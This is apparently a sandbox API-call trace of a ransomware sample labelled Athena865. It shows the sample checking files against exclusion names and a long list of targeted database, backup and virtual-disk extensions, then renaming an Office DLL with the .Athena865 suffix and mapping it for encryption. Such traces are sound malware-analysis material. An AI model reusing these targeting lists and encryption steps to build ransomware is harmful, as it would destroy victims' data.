[0075.778] lstrlenW (lpString="abx") returned 3 [0075.778] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0075.778] lstrlenW (lpString="accdb") returned 5 [0075.778] lstrcmpiW (lpString1="0.DLL", lpString2="accdb") returned -1 [0075.778] lstrlenW (lpString="accdc") returned 5 [0075.778] lstrcmpiW (lpString1="0.DLL", lpString2="accdc") returned -1 [0075.778] lstrlenW (lpString="accde") returned 5 [0075.778] lstrcmpiW (lpString1="0.DLL", lpString2="accde") returned -1 [0075.778] lstrlenW (lpString="accdr") returned 5 [0075.778] lstrcmpiW (lpString1="0.DLL", lpString2="accdr") returned -1 [0075.778] lstrlenW (lpString="accdt") returned 5 [0075.778] lstrcmpiW (lpString1="0.DLL", lpString2="accdt") returned -1 [0075.778] lstrlenW (lpString="accdw") returned 5 [0075.778] lstrcmpiW (lpString1="0.DLL", lpString2="accdw") returned -1 [0075.778] lstrlenW (lpString="accft") returned 5 [0075.778] lstrcmpiW (lpString1="0.DLL", lpString2="accft") returned -1 [0075.778] lstrlenW (lpString="adb") returned 3 [0075.778] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0075.778] lstrlenW (lpString="adb") returned 3 [0075.778] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0075.778] lstrlenW (lpString="ade") returned 3 [0075.778] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0075.778] lstrlenW (lpString="adf") returned 3 [0075.778] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0075.778] lstrlenW (lpString="adn") returned 3 [0075.778] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0075.779] lstrlenW (lpString="adp") returned 3 [0075.779] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0075.779] lstrlenW (lpString="alf") returned 3 [0075.779] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0075.779] lstrlenW (lpString="ask") returned 3 [0075.779] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0075.779] lstrlenW (lpString="btr") returned 3 [0075.779] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0075.779] lstrlenW (lpString="cat") returned 3 [0075.779] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0075.779] lstrlenW (lpString="cdb") returned 3 [0075.779] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0075.779] lstrlenW (lpString="ckp") returned 3 [0075.779] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0075.779] lstrlenW (lpString="cma") returned 3 [0075.779] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0075.779] lstrlenW (lpString="cpd") returned 3 [0075.779] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0075.779] lstrlenW (lpString="dacpac") returned 6 [0075.779] lstrcmpiW (lpString1="30.DLL", lpString2="dacpac") returned -1 [0075.779] lstrlenW (lpString="dad") returned 3 [0075.779] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0075.779] lstrlenW (lpString="dadiagrams") returned 10 [0075.779] lstrcmpiW (lpString1="AEXP30.DLL", lpString2="dadiagrams") returned -1 [0075.779] lstrlenW (lpString="daschema") returned 8 [0075.779] lstrcmpiW (lpString1="XP30.DLL", lpString2="daschema") returned 1 [0075.779] lstrlenW (lpString="db-journal") returned 10 [0075.779] lstrcmpiW (lpString1="AEXP30.DLL", lpString2="db-journal") returned -1 [0075.779] lstrlenW (lpString="db-shm") returned 6 [0075.779] lstrcmpiW (lpString1="30.DLL", lpString2="db-shm") returned -1 [0075.779] lstrlenW (lpString="db-wal") returned 6 [0075.779] lstrcmpiW (lpString1="30.DLL", lpString2="db-wal") returned -1 [0075.779] lstrlenW (lpString="dbc") returned 3 [0075.780] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0075.780] lstrlenW (lpString="dbs") returned 3 [0075.780] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0075.780] lstrlenW (lpString="dbt") returned 3 [0075.780] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0075.780] lstrlenW (lpString="dbv") returned 3 [0075.780] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0075.780] lstrlenW (lpString="dbx") returned 3 [0075.780] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0075.780] lstrlenW (lpString="dcb") returned 3 [0075.780] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0075.780] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSAEXP30.DLL.Athena865") returned 65 [0075.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSAEXP30.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msaexp30.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSAEXP30.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msaexp30.dll.athena865"), dwFlags=0x1) returned 1 [0075.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSAEXP30.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msaexp30.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.781] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=82312) returned 1 [0075.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.782] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.782] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.783] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.783] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14490, lpName=0x0) returned 0x17c [0075.784] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14490) returned 0x100000 [0075.792] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.793] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.793] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.794] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0075.795] CloseHandle (hObject=0x17c) returned 1 [0075.795] CloseHandle (hObject=0x154) returned 1 [0075.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.796] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSCOL11.INF", cAlternateFileName="")) returned 1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2=".") returned 1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2="..") returned 1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2="windows") returned -1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2="bootmgr") returned 1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2="temp") returned -1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2="pagefile.sys") returned -1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2="boot") returned 1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2="ids.txt") returned 1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2="ntuser.dat") returned -1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2="perflogs") returned -1 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2="MSBuild") returned 1 [0075.796] lstrlenW (lpString="MSCOL11.INF") returned 11 [0075.796] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSCOL11.INF" | out: lpString1="MSCOL11.INF") returned="MSCOL11.INF" [0075.796] lstrlenW (lpString="MSCOL11.INF") returned 11 [0075.796] lstrlenW (lpString="Athena865") returned 9 [0075.796] lstrcmpiW (lpString1="COL11.INF", lpString2="Athena865") returned 1 [0075.796] lstrlenW (lpString=".dll") returned 4 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2=".dll") returned 1 [0075.796] lstrlenW (lpString=".lnk") returned 4 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2=".lnk") returned 1 [0075.796] lstrlenW (lpString=".ini") returned 4 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2=".ini") returned 1 [0075.796] lstrlenW (lpString=".sys") returned 4 [0075.796] lstrcmpiW (lpString1="MSCOL11.INF", lpString2=".sys") returned 1 [0075.796] lstrlenW (lpString="MSCOL11.INF") returned 11 [0075.796] lstrlenW (lpString="bak") returned 3 [0075.796] lstrcmpiW (lpString1="INF", lpString2="bak") returned 1 [0075.796] lstrlenW (lpString="ba_") returned 3 [0075.797] lstrcmpiW (lpString1="INF", lpString2="ba_") returned 1 [0075.797] lstrlenW (lpString="dbb") returned 3 [0075.797] lstrcmpiW (lpString1="INF", lpString2="dbb") returned 1 [0075.797] lstrlenW (lpString="vmdk") returned 4 [0075.797] lstrcmpiW (lpString1=".INF", lpString2="vmdk") returned -1 [0075.797] lstrlenW (lpString="rar") returned 3 [0075.797] lstrcmpiW (lpString1="INF", lpString2="rar") returned -1 [0075.797] lstrlenW (lpString="zip") returned 3 [0075.797] lstrcmpiW (lpString1="INF", lpString2="zip") returned -1 [0075.797] lstrlenW (lpString="tgz") returned 3 [0075.797] lstrcmpiW (lpString1="INF", lpString2="tgz") returned -1 [0075.797] lstrlenW (lpString="vbox") returned 4 [0075.797] lstrcmpiW (lpString1=".INF", lpString2="vbox") returned -1 [0075.797] lstrlenW (lpString="vdi") returned 3 [0075.797] lstrcmpiW (lpString1="INF", lpString2="vdi") returned -1 [0075.797] lstrlenW (lpString="vhd") returned 3 [0075.797] lstrcmpiW (lpString1="INF", lpString2="vhd") returned -1 [0075.797] lstrlenW (lpString="vhdx") returned 4 [0075.797] lstrcmpiW (lpString1=".INF", lpString2="vhdx") returned -1 [0075.797] lstrlenW (lpString="avhd") returned 4 [0075.797] lstrcmpiW (lpString1=".INF", lpString2="avhd") returned -1 [0075.797] lstrlenW (lpString="db") returned 2 [0075.797] lstrcmpiW (lpString1="NF", lpString2="db") returned 1 [0075.797] lstrlenW (lpString="db2") returned 3 [0075.797] lstrcmpiW (lpString1="INF", lpString2="db2") returned 1 [0075.797] lstrlenW (lpString="db3") returned 3 [0075.797] lstrcmpiW (lpString1="INF", lpString2="db3") returned 1 [0075.797] lstrlenW (lpString="dbf") returned 3 [0075.797] lstrcmpiW (lpString1="INF", lpString2="dbf") returned 1 [0075.797] lstrlenW (lpString="mdf") returned 3 [0075.797] lstrcmpiW (lpString1="INF", lpString2="mdf") returned -1 [0075.797] lstrlenW (lpString="mdb") returned 3 [0075.797] lstrcmpiW (lpString1="INF", lpString2="mdb") returned -1 [0075.798] lstrlenW (lpString="sql") returned 3 [0075.798] lstrcmpiW (lpString1="INF", lpString2="sql") returned -1 [0075.798] lstrlenW (lpString="sqlite") returned 6 [0075.798] lstrcmpiW (lpString1="11.INF", lpString2="sqlite") returned -1 [0075.798] lstrlenW (lpString="sqlite3") returned 7 [0075.798] lstrcmpiW (lpString1="L11.INF", lpString2="sqlite3") returned -1 [0075.798] lstrlenW (lpString="sqlitedb") returned 8 [0075.798] lstrcmpiW (lpString1="OL11.INF", lpString2="sqlitedb") returned -1 [0075.798] lstrlenW (lpString="xml") returned 3 [0075.798] lstrcmpiW (lpString1="INF", lpString2="xml") returned -1 [0075.798] lstrlenW (lpString="$er") returned 3 [0075.798] lstrcmpiW (lpString1="INF", lpString2="$er") returned 1 [0075.798] lstrlenW (lpString="4dd") returned 3 [0075.798] lstrcmpiW (lpString1="INF", lpString2="4dd") returned 1 [0075.798] lstrlenW (lpString="4dl") returned 3 [0075.798] lstrcmpiW (lpString1="INF", lpString2="4dl") returned 1 [0075.798] lstrlenW (lpString="^^^") returned 3 [0075.798] lstrcmpiW (lpString1="INF", lpString2="^^^") returned 1 [0075.798] lstrlenW (lpString="abs") returned 3 [0075.798] lstrcmpiW (lpString1="INF", lpString2="abs") returned 1 [0075.798] lstrlenW (lpString="abx") returned 3 [0075.798] lstrcmpiW (lpString1="INF", lpString2="abx") returned 1 [0075.798] lstrlenW (lpString="accdb") returned 5 [0075.798] lstrcmpiW (lpString1="1.INF", lpString2="accdb") returned -1 [0075.798] lstrlenW (lpString="accdc") returned 5 [0075.798] lstrcmpiW (lpString1="1.INF", lpString2="accdc") returned -1 [0075.798] lstrlenW (lpString="accde") returned 5 [0075.798] lstrcmpiW (lpString1="1.INF", lpString2="accde") returned -1 [0075.798] lstrlenW (lpString="accdr") returned 5 [0075.798] lstrcmpiW (lpString1="1.INF", lpString2="accdr") returned -1 [0075.798] lstrlenW (lpString="accdt") returned 5 [0075.798] lstrcmpiW (lpString1="1.INF", lpString2="accdt") returned -1 [0075.799] lstrlenW (lpString="accdw") returned 5 [0075.799] lstrcmpiW (lpString1="1.INF", lpString2="accdw") returned -1 [0075.799] lstrlenW (lpString="accft") returned 5 [0075.799] lstrcmpiW (lpString1="1.INF", lpString2="accft") returned -1 [0075.799] lstrlenW (lpString="adb") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="adb") returned 1 [0075.799] lstrlenW (lpString="adb") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="adb") returned 1 [0075.799] lstrlenW (lpString="ade") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="ade") returned 1 [0075.799] lstrlenW (lpString="adf") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="adf") returned 1 [0075.799] lstrlenW (lpString="adn") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="adn") returned 1 [0075.799] lstrlenW (lpString="adp") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="adp") returned 1 [0075.799] lstrlenW (lpString="alf") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="alf") returned 1 [0075.799] lstrlenW (lpString="ask") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="ask") returned 1 [0075.799] lstrlenW (lpString="btr") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="btr") returned 1 [0075.799] lstrlenW (lpString="cat") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="cat") returned 1 [0075.799] lstrlenW (lpString="cdb") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="cdb") returned 1 [0075.799] lstrlenW (lpString="ckp") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="ckp") returned 1 [0075.799] lstrlenW (lpString="cma") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="cma") returned 1 [0075.799] lstrlenW (lpString="cpd") returned 3 [0075.799] lstrcmpiW (lpString1="INF", lpString2="cpd") returned 1 [0075.800] lstrlenW (lpString="dacpac") returned 6 [0075.800] lstrcmpiW (lpString1="11.INF", lpString2="dacpac") returned -1 [0075.800] lstrlenW (lpString="dad") returned 3 [0075.800] lstrcmpiW (lpString1="INF", lpString2="dad") returned 1 [0075.800] lstrlenW (lpString="dadiagrams") returned 10 [0075.800] lstrcmpiW (lpString1="SCOL11.INF", lpString2="dadiagrams") returned 1 [0075.800] lstrlenW (lpString="daschema") returned 8 [0075.800] lstrcmpiW (lpString1="OL11.INF", lpString2="daschema") returned 1 [0075.800] lstrlenW (lpString="db-journal") returned 10 [0075.800] lstrcmpiW (lpString1="SCOL11.INF", lpString2="db-journal") returned 1 [0075.800] lstrlenW (lpString="db-shm") returned 6 [0075.800] lstrcmpiW (lpString1="11.INF", lpString2="db-shm") returned -1 [0075.800] lstrlenW (lpString="db-wal") returned 6 [0075.800] lstrcmpiW (lpString1="11.INF", lpString2="db-wal") returned -1 [0075.800] lstrlenW (lpString="dbc") returned 3 [0075.800] lstrcmpiW (lpString1="INF", lpString2="dbc") returned 1 [0075.800] lstrlenW (lpString="dbs") returned 3 [0075.800] lstrcmpiW (lpString1="INF", lpString2="dbs") returned 1 [0075.800] lstrlenW (lpString="dbt") returned 3 [0075.800] lstrcmpiW (lpString1="INF", lpString2="dbt") returned 1 [0075.800] lstrlenW (lpString="dbv") returned 3 [0075.800] lstrcmpiW (lpString1="INF", lpString2="dbv") returned 1 [0075.800] lstrlenW (lpString="dbx") returned 3 [0075.800] lstrcmpiW (lpString1="INF", lpString2="dbx") returned 1 [0075.800] lstrlenW (lpString="dcb") returned 3 [0075.800] lstrcmpiW (lpString1="INF", lpString2="dcb") returned 1 [0075.800] lstrlenW (lpString="dct") returned 3 [0075.800] lstrcmpiW (lpString1="INF", lpString2="dct") returned 1 [0075.800] lstrlenW (lpString="dcx") returned 3 [0075.800] lstrcmpiW (lpString1="INF", lpString2="dcx") returned 1 [0075.800] lstrlenW (lpString="ddl") returned 3 [0075.800] lstrcmpiW (lpString1="INF", lpString2="ddl") returned 1 [0075.800] lstrlenW (lpString="dlis") returned 4 [0075.801] lstrcmpiW (lpString1=".INF", lpString2="dlis") returned -1 [0075.801] lstrlenW (lpString="dp1") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="dp1") returned 1 [0075.801] lstrlenW (lpString="dqy") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="dqy") returned 1 [0075.801] lstrlenW (lpString="dsk") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="dsk") returned 1 [0075.801] lstrlenW (lpString="dsn") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="dsn") returned 1 [0075.801] lstrlenW (lpString="dtsx") returned 4 [0075.801] lstrcmpiW (lpString1=".INF", lpString2="dtsx") returned -1 [0075.801] lstrlenW (lpString="dxl") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="dxl") returned 1 [0075.801] lstrlenW (lpString="eco") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="eco") returned 1 [0075.801] lstrlenW (lpString="ecx") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="ecx") returned 1 [0075.801] lstrlenW (lpString="edb") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="edb") returned 1 [0075.801] lstrlenW (lpString="epim") returned 4 [0075.801] lstrcmpiW (lpString1=".INF", lpString2="epim") returned -1 [0075.801] lstrlenW (lpString="fcd") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="fcd") returned 1 [0075.801] lstrlenW (lpString="fdb") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="fdb") returned 1 [0075.801] lstrlenW (lpString="fic") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="fic") returned 1 [0075.801] lstrlenW (lpString="flexolibrary") returned 12 [0075.801] lstrlenW (lpString="fm5") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="fm5") returned 1 [0075.801] lstrlenW (lpString="fmp") returned 3 [0075.801] lstrcmpiW (lpString1="INF", lpString2="fmp") returned 1 [0075.801] lstrlenW (lpString="fmp12") returned 5 [0075.802] lstrcmpiW (lpString1="1.INF", lpString2="fmp12") returned -1 [0075.802] lstrlenW (lpString="fmpsl") returned 5 [0075.802] lstrcmpiW (lpString1="1.INF", lpString2="fmpsl") returned -1 [0075.802] lstrlenW (lpString="fol") returned 3 [0075.802] lstrcmpiW (lpString1="INF", lpString2="fol") returned 1 [0075.802] lstrlenW (lpString="fp3") returned 3 [0075.802] lstrcmpiW (lpString1="INF", lpString2="fp3") returned 1 [0075.802] lstrlenW (lpString="fp4") returned 3 [0075.802] lstrcmpiW (lpString1="INF", lpString2="fp4") returned 1 [0075.802] lstrlenW (lpString="fp5") returned 3 [0075.802] lstrcmpiW (lpString1="INF", lpString2="fp5") returned 1 [0075.802] lstrlenW (lpString="fp7") returned 3 [0075.802] lstrcmpiW (lpString1="INF", lpString2="fp7") returned 1 [0075.802] lstrlenW (lpString="fpt") returned 3 [0075.802] lstrcmpiW (lpString1="INF", lpString2="fpt") returned 1 [0075.802] lstrlenW (lpString="frm") returned 3 [0075.802] lstrcmpiW (lpString1="INF", lpString2="frm") returned 1 [0075.802] lstrlenW (lpString="gdb") returned 3 [0075.802] lstrcmpiW (lpString1="INF", lpString2="gdb") returned 1 [0075.802] lstrlenW (lpString="gdb") returned 3 [0075.802] lstrcmpiW (lpString1="INF", lpString2="gdb") returned 1 [0075.802] lstrlenW (lpString="grdb") returned 4 [0075.802] lstrcmpiW (lpString1=".INF", lpString2="grdb") returned -1 [0075.802] lstrlenW (lpString="gwi") returned 3 [0075.802] lstrcmpiW (lpString1="INF", lpString2="gwi") returned 1 [0075.802] lstrlenW (lpString="hdb") returned 3 [0075.802] lstrcmpiW (lpString1="INF", lpString2="hdb") returned 1 [0075.802] lstrlenW (lpString="his") returned 3 [0075.802] lstrcmpiW (lpString1="INF", lpString2="his") returned 1 [0075.802] lstrlenW (lpString="ib") returned 2 [0075.802] lstrcmpiW (lpString1="NF", lpString2="ib") returned 1 [0075.802] lstrlenW (lpString="idb") returned 3 [0075.803] lstrcmpiW (lpString1="INF", lpString2="idb") returned 1 [0075.803] lstrlenW (lpString="ihx") returned 3 [0075.803] lstrcmpiW (lpString1="INF", lpString2="ihx") returned 1 [0075.803] lstrlenW (lpString="itdb") returned 4 [0075.803] lstrcmpiW (lpString1=".INF", lpString2="itdb") returned -1 [0075.803] lstrlenW (lpString="itw") returned 3 [0075.803] lstrcmpiW (lpString1="INF", lpString2="itw") returned -1 [0075.803] lstrlenW (lpString="jet") returned 3 [0075.803] lstrcmpiW (lpString1="INF", lpString2="jet") returned -1 [0075.803] lstrlenW (lpString="jtx") returned 3 [0075.803] lstrcmpiW (lpString1="INF", lpString2="jtx") returned -1 [0075.803] lstrlenW (lpString="kdb") returned 3 [0075.803] lstrcmpiW (lpString1="INF", lpString2="kdb") returned -1 [0075.803] lstrlenW (lpString="kexi") returned 4 [0075.803] lstrcmpiW (lpString1=".INF", lpString2="kexi") returned -1 [0075.803] lstrlenW (lpString="kexic") returned 5 [0075.803] lstrcmpiW (lpString1="1.INF", lpString2="kexic") returned -1 [0075.803] lstrlenW (lpString="kexis") returned 5 [0075.803] lstrcmpiW (lpString1="1.INF", lpString2="kexis") returned -1 [0075.803] lstrlenW (lpString="lgc") returned 3 [0075.803] lstrcmpiW (lpString1="INF", lpString2="lgc") returned -1 [0075.803] lstrlenW (lpString="lwx") returned 3 [0075.803] lstrcmpiW (lpString1="INF", lpString2="lwx") returned -1 [0075.803] lstrlenW (lpString="maf") returned 3 [0075.803] lstrcmpiW (lpString1="INF", lpString2="maf") returned -1 [0075.803] lstrlenW (lpString="maq") returned 3 [0075.803] lstrcmpiW (lpString1="INF", lpString2="maq") returned -1 [0075.803] lstrlenW (lpString="mar") returned 3 [0075.803] lstrcmpiW (lpString1="INF", lpString2="mar") returned -1 [0075.803] lstrlenW (lpString="marshal") returned 7 [0075.803] lstrcmpiW (lpString1="L11.INF", lpString2="marshal") returned -1 [0075.803] lstrlenW (lpString="mas") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="mas") returned -1 [0075.804] lstrlenW (lpString="mav") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="mav") returned -1 [0075.804] lstrlenW (lpString="maw") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="maw") returned -1 [0075.804] lstrlenW (lpString="mdbhtml") returned 7 [0075.804] lstrcmpiW (lpString1="L11.INF", lpString2="mdbhtml") returned -1 [0075.804] lstrlenW (lpString="mdn") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="mdn") returned -1 [0075.804] lstrlenW (lpString="mdt") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="mdt") returned -1 [0075.804] lstrlenW (lpString="mfd") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="mfd") returned -1 [0075.804] lstrlenW (lpString="mpd") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="mpd") returned -1 [0075.804] lstrlenW (lpString="mrg") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="mrg") returned -1 [0075.804] lstrlenW (lpString="mud") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="mud") returned -1 [0075.804] lstrlenW (lpString="mwb") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="mwb") returned -1 [0075.804] lstrlenW (lpString="myd") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="myd") returned -1 [0075.804] lstrlenW (lpString="ndf") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="ndf") returned -1 [0075.804] lstrlenW (lpString="nnt") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="nnt") returned -1 [0075.804] lstrlenW (lpString="nrmlib") returned 6 [0075.804] lstrcmpiW (lpString1="11.INF", lpString2="nrmlib") returned -1 [0075.804] lstrlenW (lpString="ns2") returned 3 [0075.804] lstrcmpiW (lpString1="INF", lpString2="ns2") returned -1 [0075.804] lstrlenW (lpString="ns3") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="ns3") returned -1 [0075.805] lstrlenW (lpString="ns4") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="ns4") returned -1 [0075.805] lstrlenW (lpString="nsf") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="nsf") returned -1 [0075.805] lstrlenW (lpString="nv") returned 2 [0075.805] lstrcmpiW (lpString1="NF", lpString2="nv") returned -1 [0075.805] lstrlenW (lpString="nv2") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="nv2") returned -1 [0075.805] lstrlenW (lpString="nwdb") returned 4 [0075.805] lstrcmpiW (lpString1=".INF", lpString2="nwdb") returned -1 [0075.805] lstrlenW (lpString="nyf") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="nyf") returned -1 [0075.805] lstrlenW (lpString="odb") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="odb") returned -1 [0075.805] lstrlenW (lpString="odb") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="odb") returned -1 [0075.805] lstrlenW (lpString="oqy") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="oqy") returned -1 [0075.805] lstrlenW (lpString="ora") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="ora") returned -1 [0075.805] lstrlenW (lpString="orx") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="orx") returned -1 [0075.805] lstrlenW (lpString="owc") returned 3 [0075.805] lstrcmpiW (lpString1="INF", lpString2="owc") returned -1 